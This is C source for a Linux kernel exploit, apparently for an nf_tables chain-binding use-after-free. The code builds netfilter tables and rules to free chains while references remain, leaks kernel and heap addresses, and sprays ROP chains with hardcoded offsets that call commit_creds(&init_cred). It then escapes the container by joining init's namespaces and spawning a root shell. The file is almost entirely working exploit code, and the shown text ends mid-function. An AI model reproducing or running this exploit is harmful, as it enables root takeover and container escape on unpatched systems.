#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <net/if.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <linux/rtnetlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/set.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

#include "netlink_utils.h"

uint64_t find_task_by_vpid_off = 0x1b5600;
uint64_t switch_task_namespaces_off = 0x1bd180;
uint64_t commit_creds_off = 0x1bed10;
uint64_t init_nsproxy_off = 0x26765c0;
uint64_t init_cred_off = 0x2676800;
uint64_t swapgs_restore_regs_and_return_to_usermode_off = 0x12010c6;
uint64_t nft_counter_ops_off = 0x1b26680;

// 0xffffffff81f5b269 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404b80
// 0xffffffff81088893 : pop rdi ; jmp 0xffffffff82404b80
// 0xffffffff810d88a3 : pop rsi ; jmp 0xffffffff82404b80
// 0xffffffff82142a6b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404b80
// 0xffffffff81036590 : add rax, rsi ; jmp 0xffffffff82404b80
// 0xffffffff810271ec : pop rcx ; jmp 0xffffffff82404b80
// 0xffffffff8172342b : mov qword ptr [rax], rcx ; jmp 0xffffffff82404b80
// 0xffffffff81068961 : pop rsp ; jmp 0xffffffff82404b80

uint64_t push_rbx_pop_rsp = 0xf5b269;
uint64_t pop_rdi_ret = 0x088893;
uint64_t pop_rsi_ret = 0x0d88a3;
uint64_t mov_rdi_rax_ret = 0x1142a6b;
uint64_t add_rax_rsi_ret = 0x036590;
uint64_t pop_rcx_ret = 0x0271ec;
uint64_t mov_rax_rcx_ret = 0x72342b;
uint64_t pop_rsp_ret = 0x068961;

uint64_t nft_counter_ops = 0;
uint64_t kbase = 0;
uint64_t heap_addr1 = 0;
uint64_t heap_addr2 = 0;

struct mnl_socket * nl;
uint32_t portid;

void write_file(const char *filename, char *text) {

    int fd = open(filename, O_RDWR | O_CREAT, 0644);

    write(fd, text, strlen(text));
    close(fd);
}

void new_ns(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    unshare(CLONE_NEWUSER | CLONE_NEWNS);

    unshare(CLONE_NEWNET);

    write_file("/proc/self/setgroups", "deny");

    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);
}

/*
 *	Add a network interface.
 *	Equivalent to `ip link add ...`.
 */
int net_if(char *type, int n, int opt, bool change) {

	struct nlmsghdr *msg;
	struct nlattr *opts;
	struct ifinfomsg ifinfo = {};
	char name[0x100] = { 0 };
	int sk;

	strcpy(name, type);

	if (n >= 0)
		snprintf(name, sizeof(name), "%s-%d", type, n);

	// Initalize a netlink socket and allocate a nlmsghdr
	sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE);
	if (!sk) {
		perror("nl_init_request()");
		return -1;
	}

    ifinfo.ifi_family = AF_UNSPEC;
    ifinfo.ifi_type = PF_NETROM;
    ifinfo.ifi_index = 0;
    ifinfo.ifi_flags = opt;
    ifinfo.ifi_change = change ? 1 : 0;

    nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);

    nla_put_string(msg, IFLA_IFNAME, name);
    opts = nla_nest_start(msg, IFLA_LINKINFO);
    nla_put_string(msg, IFLA_INFO_KIND, type);
    nla_nest_end(msg, opts);

	// Send the netlink message and deallocate resources
	return nl_complete_request(sk, msg);
}

void pwn(){
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);

    exit(0);
}

uint64_t _user_rip = (uint64_t) pwn;
uint64_t _user_cs = 0;
uint64_t _user_rflags = 0;
uint64_t _user_sp = 0;
uint64_t _user_ss = 0;

void save_state(void) {
	__asm__(".intel_syntax noprefix;"
	"mov _user_cs, cs;"
	"mov _user_ss, ss;"
	"mov _user_sp, rsp;"
	"pushf;"
	"pop _user_rflags;"
	".att_syntax");
	return;
}

#define TRIG_HOST "127.0.0.1"
#define TRIG_PORT 1337

/* Connect to a server in a specific port to trigger netfilter hooks */
void trig_net_sock(void) {
	int sockfd = 00;
	struct sockaddr_in servaddr, cli;

	bzero(&servaddr, sizeof(servaddr));
	bzero(&cli, sizeof(cli));

	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if(sockfd == -1)
		printf("[-] Socket creation failed");

	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST);
	servaddr.sin_port = htons(TRIG_PORT);

	if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0)
		printf("[-] Connection with server failed");

	write(sockfd, "AAAA", 4);
	close(sockfd);

	return;
}

/* Set up a server to receive hook-triggering output packets */
void setup_trig_server(void) {
	int sfd = 0, sock = 0;
	struct sockaddr_in address;
	int opt = 1;
	int addrlen = sizeof(address);
	char buffer[1024] = { 0 };

	if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
		printf("[-] Error at socket()");

	if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)))
		printf("[-] Error at setsockopt()");

	address.sin_family = AF_INET;
	address.sin_addr.s_addr = INADDR_ANY;
	address.sin_port = htons(TRIG_PORT);

	if(bind(sfd, (struct sockaddr*)&address,  sizeof(address)) < 0)
		printf("[-] Error at bind()");

	if(listen(sfd, 3) < 0)
		printf("[-] Error at listen()");

	if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
		printf("[-] Error at accept()");

	read(sock, buffer, 4);

	sleep(1);

	close(sock);
	close(sfd);

	return;
}

char * table1_name = "table1";

char * chain1_name = "chain1";
char * chain2_name = "chain2";
// allocate chain->name to kmalloc-cg-16
char * chain3_name = "chain3_12341234";
// allocate chain->name to kmalloc-cg-192
char * chain4_name = "chain4_1234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234123412341234";

uint8_t family = NFPROTO_IPV4;

void make_payload2(uint64_t* data){
    int i = 0;

	// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
	data[i++] = kbase + pop_rcx_ret;
	data[i++] = -0xffff;
	data[i++] = kbase + mov_rax_rcx_ret;

    // find_task_by_vpid(1)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = 1;
    data[i++] = kbase + find_task_by_vpid_off;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + mov_rdi_rax_ret;
    data[i++] = kbase + pop_rsi_ret;
    data[i++] = kbase + init_nsproxy_off;
    data[i++] = kbase + switch_task_namespaces_off;

    data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
    data[i++] = 0;                  // rax
    data[i++] = 0;                  // rdx
    data[i++] = _user_rip;          // user_rip
    data[i++] = _user_cs;           // user_cs
    data[i++] = _user_rflags;       // user_rflags
    data[i++] = _user_sp;           // user_sp
    data[i++] = _user_ss;           // user_ss
}

void make_payload(uint64_t* data){
    int i = 0;

    data[i++] = kbase + push_rbx_pop_rsp;

    // commit_creds(&init_cred)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + init_cred_off;
    data[i++] = kbase + commit_creds_off;

    // current = find_task_by_vpid(getpid())
	data[i++] = kbase + pop_rdi_ret;
	data[i++] = getpid();
	data[i++] = kbase + find_task_by_vpid_off;

    // current += offsetof(struct task_struct, rcu_read_lock_nesting)
	data[i++] = kbase + pop_rsi_ret;
	data[i++] = 0x474;
	data[i++] = kbase + add_rax_rsi_ret;

    data[i++] = kbase + pop_rsp_ret;
    data[i++] = heap_addr1+0x20;
}

#define TABLE_SPRAY 0x80
#define SET_SPRAY 0x10

void spray_set_counter_expr(int id){
    int set_ksize = 64;
    char *set_name;

    asprintf(&set_name, "s_set%02hx", id);

    struct nftnl_set * set_leak =  nftnl_set_alloc();

    nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS, 0);
    nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, set_ksize);
    nftnl_set_set_u32(set_leak, NFTNL_SET_ID, id);

    struct nftnl_expr * expr_counter = nftnl_expr_alloc("counter");
    nftnl_set_add_expr(set_leak, expr_counter);

    size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100;
    char *buf = malloc(buf_size);

    struct mnl_nlmsg_batch * batch;
    int seq = 0;
    struct nlmsghdr * nlh;

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_leak);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

/*
chain1 (Base)
    rule_bind_chain_1_2 (rule for triggering vulnerability)
    rule_dangling_3     (holds dangling pointer to chain3)
    rule_dangling_4     (holds dangling pointer to chain4)
chain2 (Vulnerable)
    rule_bind_chain_2_3 (rule for triggering vulnerability)
    rule_bind_chain_2_4 (rule for triggering vulnerability)
    rule_replace_3      (rule for triggering vulnerability))
    rule_replace_4      (rule for triggering vulnerability)
chain3 (Victim for kbase leak)
chain4 (Victim for kheap and RIP control leak)
*/

int trig(){
    struct nftnl_table * table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_chain * chain1 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain1_name);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter");
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT);

    struct nftnl_chain * chain2 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain2_name);
    nftnl_chain_set_u32(chain2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING);
    nftnl_chain_set_u32(chain2, NFTNL_CHAIN_ID, 1337);

    struct nftnl_chain * chain3 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain3, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain3, NFTNL_CHAIN_NAME, chain3_name);
    nftnl_chain_set_u32(chain3, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_chain * chain4 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain4, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain4, NFTNL_CHAIN_NAME, chain4_name);
    nftnl_chain_set_u32(chain4, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name);

    struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name);
    nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate);

    struct nftnl_rule * rule_bind_chain_1_2_del = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 5);

    struct nftnl_rule * rule_bind_chain_2_3 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_2_3, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_u32(rule_bind_chain_2_3, NFTNL_RULE_CHAIN_ID, 1337);

    expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name);
    nftnl_rule_add_expr(rule_bind_chain_2_3, expr_immediate);

    struct nftnl_rule * rule_bind_chain_2_4 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_bind_chain_2_4, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_u32(rule_bind_chain_2_4, NFTNL_RULE_CHAIN_ID, 1337);

    expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name);
    nftnl_rule_add_expr(rule_bind_chain_2_4, expr_immediate);

    struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain1_name);

    expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain3_name);
    nftnl_rule_add_expr(rule_dangling_3, expr_immediate);

    struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain1_name);

    expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain4_name);
    nftnl_rule_add_expr(rule_dangling_4, expr_immediate);

    struct nftnl_rule * rule_replace_3 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_replace_3, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_u32(rule_replace_3, NFTNL_RULE_CHAIN_ID, 1337);
    nftnl_rule_set_u64(rule_replace_3, NFTNL_RULE_HANDLE, 7);

    struct nftnl_rule * rule_replace_4 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_replace_4, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_u32(rule_replace_4, NFTNL_RULE_CHAIN_ID, 1337);
    nftnl_rule_set_u64(rule_replace_4, NFTNL_RULE_HANDLE, 6);

    size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100;
    char *buf = malloc(buf_size);
    int ret;
    char read_data[0x1000] = {0,};

    struct mnl_nlmsg_batch * batch;
    int seq = 0;
    struct nlmsghdr * nlh;

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    ret = mnl_socket_recvfrom(nl, read_data, 0x1000);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain4);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain3);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain1);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_4);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_2_3);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE | NLM_F_REPLACE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_replace_3);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE | NLM_F_REPLACE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_replace_4);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work (triggering the vulnerability)
    usleep(100*1000);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3);
    mnl_nlmsg_batch_next(batch);

    // Del target chain to trigger UAF
    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain3);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work (free Victim chain3)
    usleep(100*1000);

    // Leak kaslr. Using nft_counter for LTS and Mitigation (v6.1) and nft_last for COS (v5.15)
    for(int i = 0 ; i < SET_SPRAY; i++)
        spray_set_counter_expr(i);

    struct nftnl_rule *rule_get = nftnl_rule_alloc();
    nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name);

    nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_DUMP | NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_get);
    nftnl_rule_free(rule_get);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    ret = mnl_socket_recvfrom(nl, read_data, 0x400);

    if (ret > 0) {
        nft_counter_ops = *(unsigned long*) &read_data[0x70];
        kbase = nft_counter_ops - nft_counter_ops_off;
        ret = mnl_socket_recvfrom(nl, read_data, 0x400);
    }

    printf("[*] kbase %lx nft_counter_ops %lx\n", kbase, nft_counter_ops);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4);
    mnl_nlmsg_batch_next(batch);

    // Del target chain to trigger UAF
    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain4);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work (free Victim chain3)
    usleep(100*1000);

    char rule_data[0x400] = {0,};

    struct nftnl_rule * rule_spray2 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_spray2, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_spray2, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_data(rule_spray2, NFTNL_RULE_USERDATA, rule_data, 96-25);

    make_payload2((uint64_t*)(rule_data+7));

    struct nftnl_rule * rule_spray = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_spray, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_spray, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_data(rule_spray, NFTNL_RULE_USERDATA, rule_data, 192-25);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_spray2);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < 10; i++){
        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_spray);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // Leak heap
    memset(read_data, 0, 0x1000);

    rule_get = nftnl_rule_alloc();
    nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0x19);

    nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_get);
    nftnl_rule_free(rule_get);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    ret = mnl_socket_recvfrom(nl, read_data, 0x200);

    *(char*)&read_data = (char*) read_data + 7;

    if (ret > 0) {
        heap_addr1 = *(unsigned long*) &read_data[0x78];
        heap_addr2 = *(unsigned long*) &read_data[0x70];
        ret = mnl_socket_recvfrom(nl, read_data, 0x200);
    }

    printf("[*] heap_addr %lx %lx\n", heap_addr1, heap_addr2);

    if((heap_addr1 & 0xffff000000000000) != 0xffff000000000000){
        printf("[-] heap leak failed..\n");
        return -1;
    }

    // Spray ROP payload
    struct nftnl_rule * rule_del = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain1_name);
    nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, 0x1a);

    batch = mnl_nlmsg_batch_start(buf, buf_size);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_del);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for destroy work (free rule in kmalloc-cg-96)
    usleep(100*1000);

    struct nftnl_table * tables[TABLE_SPRAY] = {0,};

    uint64_t *data_96 = malloc(1024);

    // spray nft_table->udata to kmalloc-cg-96
    make_payload(data_96);

    for(int i = 0; i < TABLE_SPRAY; i++){
        char *table_name;
        asprintf(&table_name, "st96_%02hx", i);

        struct nftnl_table * table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
        nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
        nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_96, 96);

        tables[i] = table;
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < TABLE_SPRAY; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    uint64_t *data_64 = malloc(1024);

    // spray nft_table->udata to kmalloc-cg-64 to overwrite chain->blob0
    int o = 0;

    data_64[o++] = 0x100;
    data_64[o++] = 0xffffffff61616161;
    data_64[o++] = heap_addr2;

    data_64[o++] = kbase + pop_rsp_ret;
    data_64[o++] = heap_addr2+8;

    for(int i = 0; i < TABLE_SPRAY; i++){
        char *table_name;
        asprintf(&table_name, "st64_%02hx", i);

        struct nftnl_table * table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
        nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
        nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data_64, 64);

        tables[i] = table;
    }

    batch = mnl_nlmsg_batch_start(buf, buf_size);
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
